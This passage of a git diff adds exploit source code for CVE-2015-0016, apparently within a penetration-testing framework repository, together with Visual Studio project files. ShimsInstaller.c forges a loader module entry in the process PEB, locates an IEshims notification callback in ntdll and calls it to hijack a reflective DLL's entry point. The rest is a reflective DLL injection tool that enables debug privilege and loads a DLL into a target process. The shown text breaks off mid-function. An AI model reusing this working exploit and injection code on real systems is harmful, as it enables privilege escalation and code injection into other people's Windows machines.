+ // The base file name of the DLL module. + PUNICODE_STR BaseDllName; + // A pointer to the base address for the DLL in memory. + PVOID DllBase; + // The size of the DLL image, in bytes. + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef void (WINAPI *PNotificationFunc)(UINT, PLDR_DLL_LOADED_NOTIFICATION_DATA); +typedef int (WINAPI *PcshimBindingsHookFunc)(HINSTANCE, UINT, PVOID); +typedef BOOL (WINAPI *PentryPoint)(HINSTANCE, DWORD, LPVOID); + +static PMY_LDR_DATA_TABLE_ENTRY fakeLdrEntry = NULL; +static PLDR_DLL_LOADED_NOTIFICATION_DATA fakeNotification = NULL; +static LIST_ENTRY headBackup; + +static VOID CreateFakeNotification(HINSTANCE hinstDLL) +{ + fakeNotification = (PLDR_DLL_LOADED_NOTIFICATION_DATA)malloc(sizeof(LDR_DLL_LOADED_NOTIFICATION_DATA)); + fakeNotification->DllBase = hinstDLL; + fakeNotification->BaseDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR)); + fakeNotification->BaseDllName->pBuffer = L"WinRefl.dll"; + fakeNotification->BaseDllName->Length = wcslen(fakeNotification->BaseDllName->pBuffer) * 2; + fakeNotification->BaseDllName->MaximumLength = fakeNotification->BaseDllName->Length + 2; + fakeNotification->FullDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR)); + fakeNotification->FullDllName->pBuffer = L"WinRefl.dll"; + fakeNotification->FullDllName->Length = wcslen(fakeNotification->FullDllName->pBuffer) * 2; + fakeNotification->FullDllName->MaximumLength = fakeNotification->FullDllName->Length + 2; + fakeNotification->SizeOfImage = 0x1b000; + fakeNotification->Flags = 0; +} + +static VOID DeleteFakeNotification() { + free(fakeNotification->BaseDllName); + fakeNotification->BaseDllName = NULL; + free(fakeNotification->FullDllName); + fakeNotification->FullDllName = NULL; + free(fakeNotification); + fakeNotification = NULL; +} + +static VOID CreateFakeModule(PMY_LDR_DATA_TABLE_ENTRY templateEntry, PVOID dllBase, PVOID entryPoint) +{ + fakeLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)malloc(sizeof(MY_LDR_DATA_TABLE_ENTRY)); + memcpy(fakeLdrEntry, templateEntry, sizeof(LDR_DATA_TABLE_ENTRY)); + fakeLdrEntry->DllBase = dllBase; + fakeLdrEntry->EntryPoint = entryPoint; + fakeLdrEntry->SizeOfImage = 0x1b000; + fakeLdrEntry->FullDllName.pBuffer = L"WinRefl.dll"; + fakeLdrEntry->FullDllName.Length = wcslen(fakeLdrEntry->FullDllName.pBuffer) * 2; + fakeLdrEntry->FullDllName.MaximumLength = fakeLdrEntry->FullDllName.Length + 2; + fakeLdrEntry->BaseDllName.pBuffer = L"WinRefl.dll"; + fakeLdrEntry->BaseDllName.Length = wcslen(fakeLdrEntry->BaseDllName.pBuffer) * 2; + fakeLdrEntry->BaseDllName.MaximumLength = fakeLdrEntry->BaseDllName.Length + 2; +} + +static VOID DeleteFakeModule() +{ + free(fakeLdrEntry); + fakeLdrEntry = NULL; +} + +static VOID UnhookFakeModule() +{ + _PPEB pPeb = (_PPEB)__readfsdword(0x30); + + // Restore the InMemoryOrderModuleList + pPeb->pLdr->InMemoryOrderModuleList = headBackup; + pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(pPeb->pLdr->InMemoryOrderModuleList); + + DeleteFakeModule(); +} + +static VOID HookFakeModule(HINSTANCE hinstDLL, PVOID ep) { + PentryPoint entryPoint = (PentryPoint)ep; + _PPEB pPeb = (_PPEB)__readfsdword(0x30); + + LIST_ENTRY head = pPeb->pLdr->InMemoryOrderModuleList; + // Make Backup to restore later + headBackup = head; + + PMY_LDR_DATA_TABLE_ENTRY firstEntry = (PMY_LDR_DATA_TABLE_ENTRY)((BYTE *)head.Flink - (ptrdiff_t)8); + CreateFakeModule(firstEntry, hinstDLL, entryPoint); + + // Insert the fake entry in the InMemoryOrderModuleList + fakeLdrEntry->InMemoryOrderLinks.Flink = head.Flink; + fakeLdrEntry->InMemoryOrderLinks.Blink = head.Flink->Blink; + // Fix the list + pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(fakeLdrEntry->InMemoryOrderLinks); + pPeb->pLdr->InMemoryOrderModuleList.Flink = &(fakeLdrEntry->InMemoryOrderLinks); + + return; +} + +// Find a pointer to the IEshims!CShimBindings::_LdrNotificationCallback +static SIZE_T SearchLdrNotificationCallback() +{ + HMODULE ntdll = LoadLibraryA("ntdll.dll"); + FARPROC registerDllMethod = GetProcAddress(ntdll, "LdrRegisterDllNotification"); + PUCHAR searchPtr = (unsigned char *)registerDllMethod; + UCHAR testByte = 0x00; + SIZE_T pNotificationList = 0; + SIZE_T pNotificationCallback = 0; + for (int i = 0; i < 0x1000; i++) { + if (searchPtr[i] == searchPtr[i + 5] + 4 && + searchPtr[i + 1] == searchPtr[i + 6] && + searchPtr[i + 2] == searchPtr[i + 7] && + searchPtr[i + 3] == searchPtr[i + 8]) { + searchPtr = searchPtr + i; + pNotificationList = *(SIZE_T *)searchPtr; + break; + } + if (searchPtr[i] == searchPtr[i + 6] + 4 && + searchPtr[i + 1] == searchPtr[i + 7] && + searchPtr[i + 2] == searchPtr[i + 8] && + searchPtr[i + 3] == searchPtr[i + 9]) { + searchPtr = searchPtr + i; + pNotificationList = *(SIZE_T *)searchPtr; + break; + } + } + + memcpy(&pNotificationCallback, (SIZE_T *)pNotificationList, sizeof(SIZE_T)); + pNotificationCallback += sizeof(SIZE_T) * 2; + + return pNotificationCallback; +} + +VOID InstallShims(HINSTANCE hinstDLL, PVOID ep, LPVOID lpReserved) { + ULONG notificationStruct = 0; + PcshimBindingsHookFunc cshimBindingsHookFunc = NULL; + PNotificationFunc notificationCallback = NULL; + + // Create and Hook fake entry in the InMemoryOrderModuleList + HookFakeModule(hinstDLL, ep); + + // Create a fake LDR_DLL_LOADED_NOTIFICATION_DATA + CreateFakeNotification(hinstDLL); + + // Find IEshims!CShimBindings::_LdrNotificationCallback + memcpy(¬ificationCallback, (PVOID)SearchLdrNotificationCallback(), sizeof(PVOID)); + + // Call the IEshims!CShimBindings::_LdrNotificationCallback with the fake notification. + // It should install CShimBindings::s_DllMainHook as entry point on the fake LDR_DATA_TABLE_ENTRY + notificationCallback(LDR_DLL_NOTIFICATION_REASON_LOADED, fakeNotification); + + // Disclose the address of CShimBindings::s_DllMainHook + memcpy(&cshimBindingsHookFunc, &(fakeLdrEntry->EntryPoint), sizeof(SIZE_T)); + + // Call CShimBindings::s_DllMainHook by ourselves + // It should hijack our Reflective DLL and call the reflective entry point again... + cshimBindingsHookFunc(hinstDLL, DLL_PROCESS_ATTACH, lpReserved); + + // At this moment exploitation should be done, we free the fake LDR_DLL_LOADED_NOTIFICATION_DATA + DeleteFakeNotification(); + + // And finally Unhook the InMemoryOrderModuleList and free the resource + UnhookFakeModule(); + + ExitThread(0); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h new file mode 100755 index 0000000000..0351c25bed --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h @@ -0,0 +1,5 @@ +#ifndef SHIMS_H +#define SHIMS_H + +VOID InstallShims(HINSTANCE, PVOID, LPVOID); +#endif \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/inject.sln b/external/source/exploits/cve-2015-0016/inject/inject.sln new file mode 100755 index 0000000000..e6c711e846 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject.vcproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-0016/inject/inject.vcproj b/external/source/exploits/cve-2015-0016/inject/inject.vcproj new file mode 100755 index 0000000000..87312eb71c --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcproj @@ -0,0 +1,360 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2015-0016/inject/inject.vcxproj b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj new file mode 100755 index 0000000000..14144ea1c8 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj @@ -0,0 +1,258 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {EEF3FD41-05D8-4A07-8434-EF5D34D76335} + inject + Win32Proj + + + + Application + v120 + MultiByte + true + + + Application + v110 + MultiByte + true + + + Application + v120 + Unicode + + + Application + v110 + Unicode + + + Application + v120 + MultiByte + true + + + Application + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Console + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Console + + + + + X64 + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Console + MachineX64 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;WIN_X86;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Console + true + true + MachineX86 + + + copy ..\Release\inject.exe ..\bin\ + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + + + true + Console + true + true + $(OutDir)inject.arm.exe + %(AdditionalDependencies) + + + copy ..\ARM\Release\inject.arm.exe ..\bin\ + + + + + X64 + + + MaxSpeed + true + WIN64;NDEBUG;_CONSOLE;_WIN64;WIN_X64;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + $(OutDir)inject.x64.exe + true + Console + true + true + MachineX64 + + + copy ..\x64\Release\inject.x64.exe ..\bin\ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters new file mode 100755 index 0000000000..418896d025 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters @@ -0,0 +1,35 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c new file mode 100755 index 0000000000..ef96dcbfbe --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c @@ -0,0 +1,116 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "GetProcAddressR.h" +//===============================================================================================// +// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which +// wont be able to resolve exported addresses in reflectivly loaded librarys. +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if( hModule == NULL ) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); + + // get the VA for the array of name pointers + uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); + + // test if we are importing by name or by ordinal... + if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); + + // resolve the address for this imported function + fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); + + // test if we have a match... + if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + fpResult = NULL; + } + + return fpResult; +} +//===============================================================================================// \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h new file mode 100755 index 0000000000..4f5170c31d --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h @@ -0,0 +1,36 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/Inject.c b/external/source/exploits/cve-2015-0016/inject/src/Inject.c new file mode 100755 index 0000000000..a7f4a2fee3 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/Inject.c @@ -0,0 +1,120 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include "LoadLibraryR.h" + +#pragma comment(lib,"Advapi32.lib") + +#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } + +// Simple app to inject a reflective DLL into a process vis its process ID. +int main( int argc, char * argv[] ) +{ + HANDLE hFile = NULL; + HANDLE hModule = NULL; + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + LPVOID lpBuffer = NULL; + DWORD dwLength = 0; + DWORD dwBytesRead = 0; + DWORD dwProcessId = 0; + TOKEN_PRIVILEGES priv = {0}; + +#ifdef WIN_X64 + char * cpDllFile = "reflective_dll.x64.dll"; +#else +#ifdef WIN_X86 + char * cpDllFile = "reflective_dll.dll"; +#else WIN_ARM + char * cpDllFile = "reflective_dll.arm.dll"; +#endif +#endif + + do + { + // Usage: inject.exe [pid] [dll_file] + + if( argc == 1 ) + dwProcessId = GetCurrentProcessId(); + else + dwProcessId = atoi( argv[1] ); + + if( argc >= 3 ) + cpDllFile = argv[2]; + + hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); + if( hFile == INVALID_HANDLE_VALUE ) + BREAK_WITH_ERROR( "Failed to open the DLL file" ); + + dwLength = GetFileSize( hFile, NULL ); + if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); + if( !lpBuffer ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) + BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); + + if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) + { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); + + CloseHandle( hToken ); + } + + hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); + if( !hProcess ) + BREAK_WITH_ERROR( "Failed to open the target process" ); + + hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); + if( !hModule ) + BREAK_WITH_ERROR( "Failed to inject the DLL" ); + + printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); + + WaitForSingleObject( hModule, -1 ); + + } while( 0 ); + + if( lpBuffer ) + HeapFree( GetProcessHeap(), 0, lpBuffer ); + + if( hProcess ) + CloseHandle( hProcess ); + + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c new file mode 100755 index 0000000000..db73903ff7 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c @@ -0,0 +1,234 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "LoadLibraryR.h" +#include +//===============================================================================================// +DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + + return 0; +} +//===============================================================================================// +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; +#ifdef WIN_X64 + DWORD dwCompiledArch = 2; +#else + // This will catch Win32 and WinRT. + DWORD dwCompiledArch = 1; +#endif + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // currenlty we can only process a PE file which is the same type as the one this fuction has + // been compiled as, due to various offset in the PE structures being defined at compile time. + if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 + { + if( dwCompiledArch != 1 ) + return 0; + } + else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 + { + if( dwCompiledArch != 2 ) + return 0; + } + else + { + return 0; + } + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); + + if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress 